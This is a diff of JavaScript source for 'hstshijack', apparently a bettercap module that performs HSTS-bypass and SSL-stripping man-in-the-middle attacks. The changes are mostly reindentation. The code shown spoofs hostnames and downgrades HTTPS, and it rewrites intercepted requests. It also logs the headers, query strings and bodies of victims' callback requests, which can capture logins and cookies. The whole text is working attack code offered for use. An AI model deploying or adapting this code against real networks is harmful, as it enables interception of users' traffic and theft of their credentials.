- logStr += " " + bold + " SSL domains" + reset + " : " + ssl.domains.length + " domain" + (ssl.domains.length === 1 ? "" : "s") + "\n";
- console.log(logStr);
+ /* Print module configuration. */
+ logStr = "\n";
+ logStr += " " + bold + "Caplet" + reset + "\n";
+ logStr += "\n";
+ logStr += " " + yellow + " hstshijack.ssl.domains" + reset + " > " + (env["hstshijack.ssl.domains"] ? green + env["hstshijack.ssl.domains"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.ssl.index" + reset + " > " + (env["hstshijack.ssl.index"] ? green + env["hstshijack.ssl.index"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + "hstshijack.ssl.index.check" + reset + " > " + (/^true$/i.test(env["hstshijack.ssl.index.check"]) ? green + "true" : red + "false") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.ignore" + reset + " > " + (env["hstshijack.ignore"] ? green + env["hstshijack.ignore"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.targets" + reset + " > " + (env["hstshijack.targets"] ? green + env["hstshijack.targets"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.replacements" + reset + " > " + (env["hstshijack.replacements"] ? green + env["hstshijack.replacements"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.blockscripts" + reset + " > " + (env["hstshijack.blockscripts"] ? green + env["hstshijack.blockscripts"] : red + "undefined") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.obfuscate" + reset + " > " + (obfuscate ? green + "true" : red + "false") + reset + "\n";
+ logStr += " " + yellow + " hstshijack.payloads" + reset + " > ";
+ if (env["hstshijack.payloads"]) {
+ list = env["hstshijack.payloads"].replace(/^\s*(.*?)\s*$/g, "$1").split(",");
+ logStr += green + list[0] + reset + "\n";
+ if (list.length > 1) {
+ for (a = 1; a < list.length; a++) {
+ logStr += " > " + green + list[a] + reset + "\n";
+ }
+ }
+ } else {
+ logStr += red + "undefined" + reset + "\n";
+ }
+ logStr += "\n";
+ logStr += " " + bold + "Commands" + reset + "\n";
+ logStr += "\n";
+ logStr += " " + bold + " hstshijack.show" + reset + " : Show module info.\n";
+ logStr += " " + bold + "hstshijack.ssl.domains" + reset + " : Show recorded domains with SSL.\n";
+ logStr += " " + bold + " hstshijack.ssl.index" + reset + " : Show SSL domain index.\n";
+ logStr += "\n";
+ logStr += " " + bold + "Session info" + reset + "\n";
+ logStr += "\n";
+ logStr += " " + bold + " Session ID" + reset + " : " + session_id + "\n";
+ logStr += " " + bold + " Callback path" + reset + " : " + callback_path + "\n";
+ logStr += " " + bold + " Whitelist path" + reset + " : " + whitelist_path + "\n";
+ logStr += " " + bold + " SSL index path" + reset + " : " + ssl_index_path + "\n";
+ logStr += " " + bold + " __Host- prefix" + reset + " : " + cookie_host_prefix + "\n";
+ logStr += " " + bold + "__Secure- prefix" + reset + " : " + cookie_secure_prefix + "\n";
+ logStr += " " + bold + " SSL domains" + reset + " : " + ssl.domains.length + " domain" + (ssl.domains.length === 1 ? "" : "s") + "\n";
+ console.log(logStr);
}
function onCommand(cmd) {
- if (cmd === "hstshijack.show") {
- showConfig();
- return true;
- }
- if (cmd === "hstshijack.ssl.domains") {
- if (ssl.domains.length > 20) {
- truncated_domains = ssl.domains.slice(0, 20);
- truncated_domains.push("...");
- log_string = truncated_domains.join(reset + "\n " + yellow);
- console.log("\n" + bold + " Recorded domains with SSL (" + ssl.domains.length + ")" + reset + "\n\n " + yellow + log_string + reset + "\n");
- } else {
- console.log("\n" + bold + " Recorded domains with SSL (" + ssl.domains.length + ")" + reset + "\n\n " + yellow + ssl.domains.join(reset + "\n " + yellow) + reset + "\n");
- }
- return true;
- }
- if (cmd === "hstshijack.ssl.index") {
- log_string = "\n" + bold + " SSL domain index" + reset + "\n";
- for (a = 0; a !== ssl.prefixes.length; a++) {
- domain_prefix = ssl.prefixes[a];
- log_string += "\n " + yellow + domain_prefix + reset + " (length: " + ssl.index[domain_prefix].length + ")";
- }
- console.log(log_string + "\n");
- return true;
- }
- if (cmd === "hstshijack.whitelist") {
- console.log("\n" + JSON.stringify(whitelist, null, 2) + "\n");
- return true;
- }
+ if (cmd === "hstshijack.show") {
+ showConfig();
+ return true;
+ }
+ if (cmd === "hstshijack.ssl.domains") {
+ if (ssl.domains.length > 20) {
+ truncated_domains = ssl.domains.slice(0, 20);
+ truncated_domains.push("...");
+ log_string = truncated_domains.join(reset + "\n " + yellow);
+ console.log("\n" + bold + " Recorded domains with SSL (" + ssl.domains.length + ")" + reset + "\n\n " + yellow + log_string + reset + "\n");
+ } else {
+ console.log("\n" + bold + " Recorded domains with SSL (" + ssl.domains.length + ")" + reset + "\n\n " + yellow + ssl.domains.join(reset + "\n " + yellow) + reset + "\n");
+ }
+ return true;
+ }
+ if (cmd === "hstshijack.ssl.index") {
+ log_string = "\n" + bold + " SSL domain index" + reset + "\n";
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ domain_prefix = ssl.prefixes[a];
+ log_string += "\n " + yellow + domain_prefix + reset + " (length: " + ssl.index[domain_prefix].length + ")";
+ }
+ console.log(log_string + "\n");
+ return true;
+ }
+ if (cmd === "hstshijack.whitelist") {
+ console.log("\n" + JSON.stringify(whitelist, null, 2) + "\n");
+ return true;
+ }
}
function onLoad() {
- math_seed = new Date().getMilliseconds();
- Math.random = function() {
- r = Math.sin(math_seed++) * 10000;
- return r - Math.floor(r);
- }
- String.prototype.startsWith = function(prefix) {
- return this.slice(0, prefix.length) === prefix;
- }
-
- log_info(on_blue + "hstshijack" + reset + " Generating random variable names for this session ...");
- session_id = randomString(8 + Math.random() * 8);
- varname_target_hosts = randomString(8 + Math.random() * 8);
- varname_replacement_hosts = randomString(8 + Math.random() * 8);
- cookie_host_prefix = randomString(8 + Math.random() * 8);
- cookie_secure_prefix = randomString(8 + Math.random() * 8);
- callback_path = "/" + randomString(8 + Math.random() * 8);
- whitelist_path = "/" + randomString(8 + Math.random() * 8);
- ssl_index_path = "/" + randomString(8 + Math.random() * 8);
-
- rx_global_cookie_host_prefix = new RegExp(cookie_host_prefix, "g");
- rx_global_cookie_secure_prefix = new RegExp(cookie_secure_prefix, "g");
-
- log_info(on_blue + "hstshijack" + reset + " Reading caplet ...");
- configure();
- log_info(on_blue + "hstshijack" + reset + " Module loaded.");
- showConfig();
+ math_seed = new Date().getMilliseconds();
+ Math.random = function() {
+ r = Math.sin(math_seed++) * 10000;
+ return r - Math.floor(r);
+ }
+ String.prototype.startsWith = function(prefix) {
+ return this.slice(0, prefix.length) === prefix;
+ }
+
+ log_info(on_blue + "hstshijack" + reset + " Generating random variable names for this session ...");
+ session_id = randomString(8 + Math.random() * 8);
+ varname_target_hosts = randomString(8 + Math.random() * 8);
+ varname_replacement_hosts = randomString(8 + Math.random() * 8);
+ cookie_host_prefix = randomString(8 + Math.random() * 8);
+ cookie_secure_prefix = randomString(8 + Math.random() * 8);
+ callback_path = "/" + randomString(8 + Math.random() * 8);
+ whitelist_path = "/" + randomString(8 + Math.random() * 8);
+ ssl_index_path = "/" + randomString(8 + Math.random() * 8);
+
+ rx_global_cookie_host_prefix = new RegExp(cookie_host_prefix, "g");
+ rx_global_cookie_secure_prefix = new RegExp(cookie_secure_prefix, "g");
+
+ log_info(on_blue + "hstshijack" + reset + " Reading caplet ...");
+ configure();
+ log_info(on_blue + "hstshijack" + reset + " Module loaded.");
+ showConfig();
}
function onRequest(req, res) {
- if (req.Path === ssl_index_path) {
- /*
- SSL callback.
-
- Requests made for this path should include a hostname in the query so
- this module can send a HEAD request to learn HTTPS redirects.
- */
- log_debug(on_blue + "hstshijack" + reset + " SSL callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Query + reset + ".");
- queried_host = req.Query;
- if (getDomainIndex(queried_host) === -1) {
- log_debug(on_blue + "hstshijack" + reset + " Learning unencrypted HTTP response from " + queried_host + " ...");
- req.Hostname = queried_host;
- req.Path = "/";
- req.Query = "";
- req.Body = "";
- req.Method = "HEAD";
- }
- } else if (req.Path === callback_path) {
- /*
- Basic callback.
-
- Requests made for this path will be dropped.
- Requests made for this path will be printed.
- */
- res.ClearBody();
- logStr = on_blue + "hstshijack" + reset + " Callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Hostname + reset + "\n";
- logStr += " " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " [" + green + "hstshijack.callback" + reset + "] " + on_grey + "CALLBACK" + reset + " " + "http://" + req.Hostname + req.Path + (req.Query !== "" ? ("?" + req.Query) : "") + "\n " + on_grey + " " + reset + " \n";
- logStr += " " + on_grey + " " + reset + " " + bold + "Headers" + reset + "\n " + on_grey + " " + reset + " \n";
- headers = req.Headers.split("\r\n");
- for (i = 0; i < headers.length; i++) {
- if (headers[i].split(": ").length === 2) {
- params = headers[i].split(": ");
- logStr += " " + on_grey + " " + reset + " " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n";
- } else {
- logStr += " " + on_grey + " " + reset + " " + yellow + headers[i] + reset + "\n";
- }
- }
- logStr += " " + on_grey + " " + reset + " " + bold + "Query" + reset + "\n " + on_grey + " " + reset + " \n";
- queries = req.Query.split("&");
- for (i = 0; i < queries.length; i++) {
- if (queries[i].split("=").length === 2) {
- params = queries[i].split("=");
- logStr += " " + on_grey + " " + reset + " " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n";
- } else {
- logStr += " " + on_grey + " " + reset + " " + green + queries[i] + reset + "\n";
- }
- }
- logStr += " " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " " + bold + "Body" + reset + "\n " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " " + yellow + req.ReadBody() + reset + "\n";
- log_info(logStr);
- } else if (req.Path === whitelist_path) {
- /*
- Whitelisting callback.
-
- Requests made for this path will be dropped.
- Requests made for this path will be printed.
- Requests made for this path will stop all attacks towards this client with the requested hostname.
- */
- res.ClearBody();
- logStr = on_blue + "hstshijack" + reset + " Whitelisting callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Hostname + reset + "\n";
- logStr += " " + on_white + " " + reset + " \n " + on_white + " " + reset + " [" + green + "hstshijack.callback" + reset + "] " + on_white + "WHITELIST" + reset + " " + "http://" + req.Hostname + req.Path + (req.Query !== "" ? ("?" + req.Query) : "") + "\n " + on_white + " " + reset + " \n";
- logStr += " " + on_white + " " + reset + " " + bold + "Headers" + reset + "\n " + on_white + " " + reset + " \n";
- headers = req.Headers.split("\n");
- for (i = 0; i < headers.length; i++) {
- if (headers[i].split(": ").length === 2) {
- params = headers[i].split(": ");
- logStr += " " + on_white + " " + reset + " " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n";
- } else {
- logStr += " " + on_white + " " + reset + " " + yellow + headers[i] + reset + "\n";
- }
- }
- logStr += " " + on_white + " " + reset + " " + bold + "Query" + reset + "\n " + on_white + " " + reset + " \n";
- queries = req.Query.split("&");
- for (i = 0; i < queries.length; i++) {
- if (queries[i].split("=").length === 2) {
- params = queries[i].split("=");
- logStr += " " + on_white + " " + reset + " " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n";
- } else {
- logStr += " " + on_white + " " + reset + " " + green + queries[i] + reset + "\n";
- }
- }
- logStr += " " + on_white + " " + reset + " \n " + on_white + " " + reset + " " + bold + "Body" + reset + "\n " + on_white + " " + reset + " \n " + on_white + " " + reset + " " + yellow + req.ReadBody() + reset + "\n";
- log_info(logStr);
- /* Add requested hostname to whitelist. */
- if (whitelist[req.Client.MAC]) {
- if (whitelist[req.Client.MAC].indexOf(req.Hostname) === -1) {
- whitelist[req.Client.MAC].push(req.Hostname);
- }
- } else {
- whitelist[req.Client.MAC] = [req.Hostname];
- }
- /* Also whitelist unspoofed version of requested hostname. */
- for (a = 0; a < target_hosts.length; a++) {
- rx_sets_whole_replacement_hosts[a][0].lastIndex = 0;
- if (rx_sets_whole_replacement_hosts[a][0].test(req.Hostname)) {
- whitelist[req.Client.MAC].push(req.Hostname.replace(
- rx_sets_whole_replacement_hosts[a][0],
- rx_sets_whole_replacement_hosts[a][1]));
- break;
- }
- }
- saveWhitelist();
- } else {
- /*
- Not a callback.
-
- Redirect client to the real host if a whitelist callback was received previously.
- Restore spoofed hostnames and schemes in request.
- */
- req.ReadBody();
-
- if (whitelist[req.Client.MAC]) {
- for (a = 0; a < whitelist[req.Client.MAC].length; a++) {
- whole_regexp_set = toWholeRegexpSet(whitelist[req.Client.MAC][a], "");
- whole_regexp_set[0].lastIndex = 0;
- if (whole_regexp_set[0].test(req.Hostname)) {
- /* Restore requested hostname if it was spoofed. */
- var unspoofed_host;
- for (b = 0; b < target_hosts.length; b++) {
- rx_sets_whole_replacement_hosts[b][0].lastIndex = 0;
- if (rx_sets_whole_replacement_hosts[b][0].test(req.Hostname)) {
- unspoofed_host = req.Hostname.replace(
- rx_sets_whole_replacement_hosts[b][0],
- rx_sets_whole_replacement_hosts[b][1]);
- query = (req.Query !== "" ? ("?" + req.Query) : "");
- res.SetHeader("Location", "https://" + unspoofed_host + req.Path + query);
- res.Status = 301;
- log_info(on_blue + "hstshijack" + reset + " Redirecting " + green + req.Client.MAC + reset + " from " + bold + req.Hostname + reset + " to " + bold + unspoofed_host + reset + " because we received a whitelisting callback.");
- return;
- }
- }
- }
- }
- }
-
- /* Restore original hostnames. */
- for (a = 0; a < target_hosts.length; a++) {
- /* Restore original hostnames in headers. */
- rx_sets_global_replacement_hosts[a][0].lastIndex = 0;
- if (rx_sets_global_replacement_hosts[a][0].test(req.Headers)) {
- req.Headers = req.Headers.replace(rx_sets_global_replacement_hosts[a][0], rx_sets_global_replacement_hosts[a][1]);
- log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + replacement_hosts[a] + reset + " in request header(s).");
- }
- }
-
- /* Restore original hostnames in query URI. */
- if (req.Query !== "") {
- for (a = 0; a < target_hosts.length; a++) {
- rx_sets_global_replacement_hosts[a][0].lastIndex = 0;
- if (rx_sets_global_replacement_hosts[a][0].test(req.Query)) {
- req.Query = req.Query.replace(rx_sets_global_replacement_hosts[a][0], rx_sets_global_replacement_hosts[a][1]);
- log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + replacement_hosts[a] + reset + " in query URI.");
- }
-
- /* Restore original hostnames in encoded query URI parameters. */
- query_params = req.Query.split("&");
- new_params = [];
- for (b = 0; b < query_params.length; b++) {
- param = query_params[b];
- param_parts = param.match(rx_query_param);
- if (param_parts) {
- param_name = param_parts[1];
- param_value = param_parts[2];
- if (param_value.indexOf("%") !== -1) {
- param_value_decoded = decodeURIComponent(param_value);
- if (param_value !== param_value_decoded) {
- rx_sets_global_replacement_hosts[a][0].lastIndex = 0;
- if (rx_sets_global_replacement_hosts[a][0].test(param_value_decoded)) {
- param_value_decoded_unspoofed = param_value_decoded.replace(
- rx_sets_global_replacement_hosts[a][0],
- rx_sets_global_replacement_hosts[a][1]);
- new_params.push(
- param_name + "=" + encodeURIComponent(param_value_decoded_unspoofed));
- } else {
- new_params.push(param);
- }
- } else {
- new_params.push(param);
- }
- } else {
- rx_sets_global_replacement_hosts[a][0].lastIndex = 0;
- if (rx_sets_global_replacement_hosts[a][0].test(param_value)) {
- param_value_unspoofed = param_value.replace(
- rx_sets_global_replacement_hosts[a][0],
- rx_sets_global_replacement_hosts[a][1]);
- new_params.push(param_name + "=" + param_value_unspoofed);
- } else {
- new_params.push(param);
- }
- }
- } else {
- new_params.push(param);
- }
- }
- new_query_string = new_params.join("&");
- if (new_query_string !== req.Query) {
- req.Query = new_query_string;
- }
- }
- }
-
- for (a = 0; a < target_hosts.length; a++) {
- /* Restore original hostname of request. */
- rx_sets_whole_replacement_hosts[a][0].lastIndex = 0;
- if (rx_sets_whole_replacement_hosts[a][0].test(req.Hostname)) {
- spoofed_host = req.Hostname;
- req.Hostname = req.Hostname.replace(rx_sets_whole_replacement_hosts[a][0], rx_sets_whole_replacement_hosts[a][1]);
- req.Scheme = "https";
- log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + spoofed_host + reset + " to " + req.Hostname + " and restored HTTPS scheme.");
- break;
- }
- }
-
- /* Restore HTTPS scheme. */
- if (getDomainIndex(req.Hostname) !== -1) {
- /* Restore HTTPS scheme of request if domain is indexed. */
- if (req.Scheme !== "https") {
- req.Scheme = "https";
- log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + bold + req.Hostname + reset + ".");
- }
- /* Restore HTTPS scheme in request headers if requested domain is indexed. */
+ if (req.Path === ssl_index_path) {
+ /**
+ * SSL callback.
+ *
+ * Requests made for this path should include a hostname in the query so
+ * this module can send a HEAD request to learn HTTPS redirects.
+ */
+ log_debug(on_blue + "hstshijack" + reset + " SSL callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Query + reset + ".");
+ queried_host = req.Query;
+ if (getDomainIndex(queried_host) === -1) {
+ log_debug(on_blue + "hstshijack" + reset + " Learning unencrypted HTTP response from " + queried_host + " ...");
+ req.Hostname = queried_host;
+ req.Path = "/";
+ req.Query = "";
+ req.Body = "";
+ req.Method = "HEAD";
+ }
+ } else if (req.Path === callback_path) {
+ /**
+ * Basic callback.
+ *
+ * Requests made for this path will be dropped.
+ * Requests made for this path will be printed.
+ */
+ res.ClearBody();
+ logStr = on_blue + "hstshijack" + reset + " Callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Hostname + reset + "\n";
+ logStr += " " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " [" + green + "hstshijack.callback" + reset + "] " + on_grey + "CALLBACK" + reset + " " + "http://" + req.Hostname + req.Path + (req.Query !== "" ? ("?" + req.Query) : "") + "\n " + on_grey + " " + reset + " \n";
+ logStr += " " + on_grey + " " + reset + " " + bold + "Headers" + reset + "\n " + on_grey + " " + reset + " \n";
+ headers = req.Headers.split("\r\n");
+ for (i = 0; i < headers.length; i++) {
+ if (headers[i].split(": ").length === 2) {
+ params = headers[i].split(": ");
+ logStr += " " + on_grey + " " + reset + " " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n";
+ } else {
+ logStr += " " + on_grey + " " + reset + " " + yellow + headers[i] + reset + "\n";
+ }
+ }
+ logStr += " " + on_grey + " " + reset + " " + bold + "Query" + reset + "\n " + on_grey + " " + reset + " \n";
+ queries = req.Query.split("&");
+ for (i = 0; i < queries.length; i++) {
+ if (queries[i].split("=").length === 2) {
+ params = queries[i].split("=");
+ logStr += " " + on_grey + " " + reset + " " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n";
+ } else {
+ logStr += " " + on_grey + " " + reset + " " + green + queries[i] + reset + "\n";
+ }
+ }
+ logStr += " " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " " + bold + "Body" + reset + "\n " + on_grey + " " + reset + " \n " + on_grey + " " + reset + " " + yellow + req.ReadBody() + reset + "\n";
+ log_info(logStr);
+ } else if (req.Path === whitelist_path) {
+ /**
+ * Whitelisting callback.
+ *
+ * Requests made for this path will be dropped.
+ * Requests made for this path will be printed.
+ * Requests made for this path will stop all attacks towards this client with the requested hostname.
+ */
+ res.ClearBody();
+ logStr = on_blue + "hstshijack" + reset + " Whitelisting callback received from " + green + req.Client.MAC + reset + " for " + bold + req.Hostname + reset + "\n";
+ logStr += " " + on_white + " " + reset + " \n " + on_white + " " + reset + " [" + green + "hstshijack.callback" + reset + "] " + on_white + "WHITELIST" + reset + " " + "http://" + req.Hostname + req.Path + (req.Query !== "" ? ("?" + req.Query) : "") + "\n " + on_white + " " + reset + " \n";
+ logStr += " " + on_white + " " + reset + " " + bold + "Headers" + reset + "\n " + on_white + " " + reset + " \n";
+ headers = req.Headers.split("\n");
+ for (i = 0; i < headers.length; i++) {
+ if (headers[i].split(": ").length === 2) {
+ params = headers[i].split(": ");
+ logStr += " " + on_white + " " + reset + " " + blue + params[0] + reset + ": " + yellow + params[1] + reset + "\n";
+ } else {
+ logStr += " " + on_white + " " + reset + " " + yellow + headers[i] + reset + "\n";
+ }
+ }
+ logStr += " " + on_white + " " + reset + " " + bold + "Query" + reset + "\n " + on_white + " " + reset + " \n";
+ queries = req.Query.split("&");
+ for (i = 0; i < queries.length; i++) {
+ if (queries[i].split("=").length === 2) {
+ params = queries[i].split("=");
+ logStr += " " + on_white + " " + reset + " " + green + decodeURIComponent(params[0]) + reset + " : " + decodeURIComponent(params[1]) + reset + "\n";
+ } else {
+ logStr += " " + on_white + " " + reset + " " + green + queries[i] + reset + "\n";
+ }
+ }
+ logStr += " " + on_white + " " + reset + " \n " + on_white + " " + reset + " " + bold + "Body" + reset + "\n " + on_white + " " + reset + " \n " + on_white + " " + reset + " " + yellow + req.ReadBody() + reset + "\n";
+ log_info(logStr);
+ /* Add requested hostname to whitelist. */
+ if (whitelist[req.Client.MAC]) {
+ if (whitelist[req.Client.MAC].indexOf(req.Hostname) === -1) {
+ whitelist[req.Client.MAC].push(req.Hostname);
+ }
+ } else {
+ whitelist[req.Client.MAC] = [req.Hostname];
+ }
+ /* Also whitelist unspoofed version of requested hostname. */
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_whole_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_whole_replacement_hosts[a][0].test(req.Hostname)) {
+ whitelist[req.Client.MAC].push(req.Hostname.replace(
+ rx_sets_whole_replacement_hosts[a][0],
+ rx_sets_whole_replacement_hosts[a][1]));
+ break;
+ }
+ }
+ saveWhitelist();
+ } else {
+ /**
+ * Not a callback.
+ *
+ * Redirect client to the real host if a whitelist callback was received previously.
+ * Restore spoofed hostnames and schemes in request.
+ */
+ req.ReadBody();
+
+ if (whitelist[req.Client.MAC]) {
+ for (a = 0; a < whitelist[req.Client.MAC].length; a++) {
+ whole_regexp_set = toWholeRegexpSet(whitelist[req.Client.MAC][a], "");
+ whole_regexp_set[0].lastIndex = 0;
+ if (whole_regexp_set[0].test(req.Hostname)) {
+ /* Restore requested hostname if it was spoofed. */
+ var unspoofed_host;
+ for (b = 0; b < target_hosts.length; b++) {
+ rx_sets_whole_replacement_hosts[b][0].lastIndex = 0;
+ if (rx_sets_whole_replacement_hosts[b][0].test(req.Hostname)) {
+ unspoofed_host = req.Hostname.replace(
+ rx_sets_whole_replacement_hosts[b][0],
+ rx_sets_whole_replacement_hosts[b][1]);
+ query = (req.Query !== "" ? ("?" + req.Query) : "");
+ res.SetHeader("Location", "https://" + unspoofed_host + req.Path + query);
+ res.Status = 301;
+ log_info(on_blue + "hstshijack" + reset + " Redirecting " + green + req.Client.MAC + reset + " from " + bold + req.Hostname + reset + " to " + bold + unspoofed_host + reset + " because we received a whitelisting callback.");
+ return;
+ }
+ }
+ }
+ }
+ }
+
+ /* Restore original hostnames. */
+ for (a = 0; a < target_hosts.length; a++) {
+ /* Restore original hostnames in headers. */
+ rx_sets_global_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_replacement_hosts[a][0].test(req.Headers)) {
+ req.Headers = req.Headers.replace(rx_sets_global_replacement_hosts[a][0], rx_sets_global_replacement_hosts[a][1]);
+ log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + replacement_hosts[a] + reset + " in request header(s).");
+ }
+ }
+
+ /* Restore original hostnames in query URI. */
+ if (req.Query !== "") {
+ for (a = 0; a < target_hosts.length; a++) {
+ rx_sets_global_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_replacement_hosts[a][0].test(req.Query)) {
+ req.Query = req.Query.replace(rx_sets_global_replacement_hosts[a][0], rx_sets_global_replacement_hosts[a][1]);
+ log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + replacement_hosts[a] + reset + " in query URI.");
+ }
+
+ /* Restore original hostnames in encoded query URI parameters. */
+ query_params = req.Query.split("&");
+ new_params = [];
+ for (b = 0; b < query_params.length; b++) {
+ param = query_params[b];
+ param_parts = param.match(rx_query_param);
+ if (param_parts) {
+ param_name = param_parts[1];
+ param_value = param_parts[2];
+ if (param_value.indexOf("%") !== -1) {
+ param_value_decoded = decodeURIComponent(param_value);
+ if (param_value !== param_value_decoded) {
+ rx_sets_global_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_replacement_hosts[a][0].test(param_value_decoded)) {
+ param_value_decoded_unspoofed = param_value_decoded.replace(
+ rx_sets_global_replacement_hosts[a][0],
+ rx_sets_global_replacement_hosts[a][1]);
+ new_params.push(
+ param_name + "=" + encodeURIComponent(param_value_decoded_unspoofed));
+ } else {
+ new_params.push(param);
+ }
+ } else {
+ new_params.push(param);
+ }
+ } else {
+ rx_sets_global_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_global_replacement_hosts[a][0].test(param_value)) {
+ param_value_unspoofed = param_value.replace(
+ rx_sets_global_replacement_hosts[a][0],
+ rx_sets_global_replacement_hosts[a][1]);
+ new_params.push(param_name + "=" + param_value_unspoofed);
+ } else {
+ new_params.push(param);
+ }
+ }
+ } else {
+ new_params.push(param);
+ }
+ }
+ new_query_string = new_params.join("&");
+ if (new_query_string !== req.Query) {
+ req.Query = new_query_string;
+ }
+ }
+ }
+
+ for (a = 0; a < target_hosts.length; a++) {
+ /* Restore original hostname of request. */
+ rx_sets_whole_replacement_hosts[a][0].lastIndex = 0;
+ if (rx_sets_whole_replacement_hosts[a][0].test(req.Hostname)) {
+ spoofed_host = req.Hostname;
+ req.Hostname = req.Hostname.replace(rx_sets_whole_replacement_hosts[a][0], rx_sets_whole_replacement_hosts[a][1]);
+ req.Scheme = "https";
+ log_debug(on_blue + "hstshijack" + reset + " Restored original hostname " + bold + spoofed_host + reset + " to " + req.Hostname + " and restored HTTPS scheme.");
+ break;
+ }
+ }
+
+ /* Restore HTTPS scheme. */
+ if (getDomainIndex(req.Hostname) !== -1) {
+ /* Restore HTTPS scheme of request if domain is indexed. */
+ if (req.Scheme !== "https") {
+ req.Scheme = "https";
+ log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + bold + req.Hostname + reset + ".");
+ }
+ /* Restore HTTPS scheme in request headers if requested domain is indexed. */
// fix this by searching for all URLs and then finding if they need SSL
- escaped_domain = req.Hostname.replace(rx_all_dots, "[.]").replace(rx_all_dashes, "[-]");
- regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9-.]|$)", "ig");
- regexp.lastIndex = 0;
- if (regexp.test(req.Headers)) {
- req.Headers = req.Headers.replace(regexp, "https://" + req.Hostname + "$1");
- log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers.");
- }
- /* Restore HTTPS scheme in request headers if domains are targeted. */
- for (a = 0; a < target_hosts.length; a++) {
- matches = req.Headers.match(rx_sets_global_target_hosts[a][0]) || [];
- for (b = 0; b < matches.length; b++) {
- escaped_domain = matches[b].replace(rx_all_dots, "\\.");
- regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9-.]|$)", "ig");
- req.Headers = req.Headers.replace(regexp, "https://" + matches[b] + "$1");
- log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers.");
- }
- }
- } else { /* If requested domain is not indexed. */
-
- // TODO
- // we can perform an SSL check synchronously with a set timeout, and/or we can
- // perform an SSL check asynchronously for future hijacking attempts
-
- log_debug(on_blue + "hstshijack" + reset + " Domain " + bold + req.Hostname + reset + " is not indexed.");
- /* Restore HTTPS scheme of request if domain is targeted. */
- for (a = 0; a < target_hosts.length; a++) {
- rx_sets_whole_target_hosts[a][0].lastIndex = 0;
- if (rx_sets_whole_target_hosts[a][0].test(req.Hostname)) {
- req.Scheme = "https";
- log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of targeted domain " + bold + req.Hostname + reset + ".");
- break;
- }
- }
- /* Restore HTTPS scheme in request headers if domains are targeted. */
- for (a = 0; a < target_hosts.length; a++) {
- matches = req.Headers.match(rx_sets_global_target_hosts[a][0]) || [];
- for (b = 0; b < matches.length; b++) {
- escaped_domain = matches[b].replace(rx_all_dots, "\\.");
- regexp = new RegExp("http://" + escaped_domain + "([^a-z0-9-.]|$)", "ig");
- req.Headers = req.Headers.replace(regexp, "https://" + matches[b] + "$1");
- log_debug(on_blue + "hstshijack" + reset + " Restored HTTPS scheme of indexed domain " + req.Hostname + " in request headers.");
- }
- }
- }
-
- /* Execute regex header replacements. */
- Object.keys(replacements_req_headers).forEach(function(selector_string, a) {
- rx_target_hosts_replacements_req_headers[a].lastIndex = 0;
- if (rx_target_hosts_replacements_req_headers[a].test(req.Hostname)) {
- replacements_req_headers[selector_string].forEach(function(rx_set) {
- req.Headers = req.Headers.replace(rx_set[0], rx_set[1]);
- });
- }
- });
-
- /* Execute regex body replacements. */
- Object.keys(replacements_req_body).forEach(function(selector_string, a) {
- rx_target_hosts_replacements_req_body[a].lastIndex = 0;
- if (rx_target_hosts_replacements_req_body[a].test(req.Hostname)) {
- replacements_req_body[selector_string].forEach(function(rx_set) {
- req.Body = req.Body.replace(rx_set[0], rx_set[1]);
- });
- }
- });
-
- /* Execute regex URL replacements. */
- Object.keys(replacements_req_url_path).forEach(function(selector_string, a) {
- rx_target_hosts_replacements_req_url_path[a].lastIndex = 0;
- if (rx_target_hosts_replacements_req_url_path[a].test(req.Hostname)) {
- replacements_req_url_path[selector_string].forEach(function(rx_set) {
- req.Path = req.Path.replace(rx_set[0], rx_set[1]);
- });
- }
- });
- Object.keys(replacements_req_url_port).forEach(function(selector_string, a) {
- rx_target_hosts_replacements_req_url_port[a].lastIndex = 0;
- if (rx_target_hosts_replacements_req_url_port[a].test(req.Hostname)) {
- replacements_req_url_port[selector_string].forEach(function(rx_set) {
- req.Port = req.Port.replace(rx_set[0], rx_set[1]);
- });
- }
- });
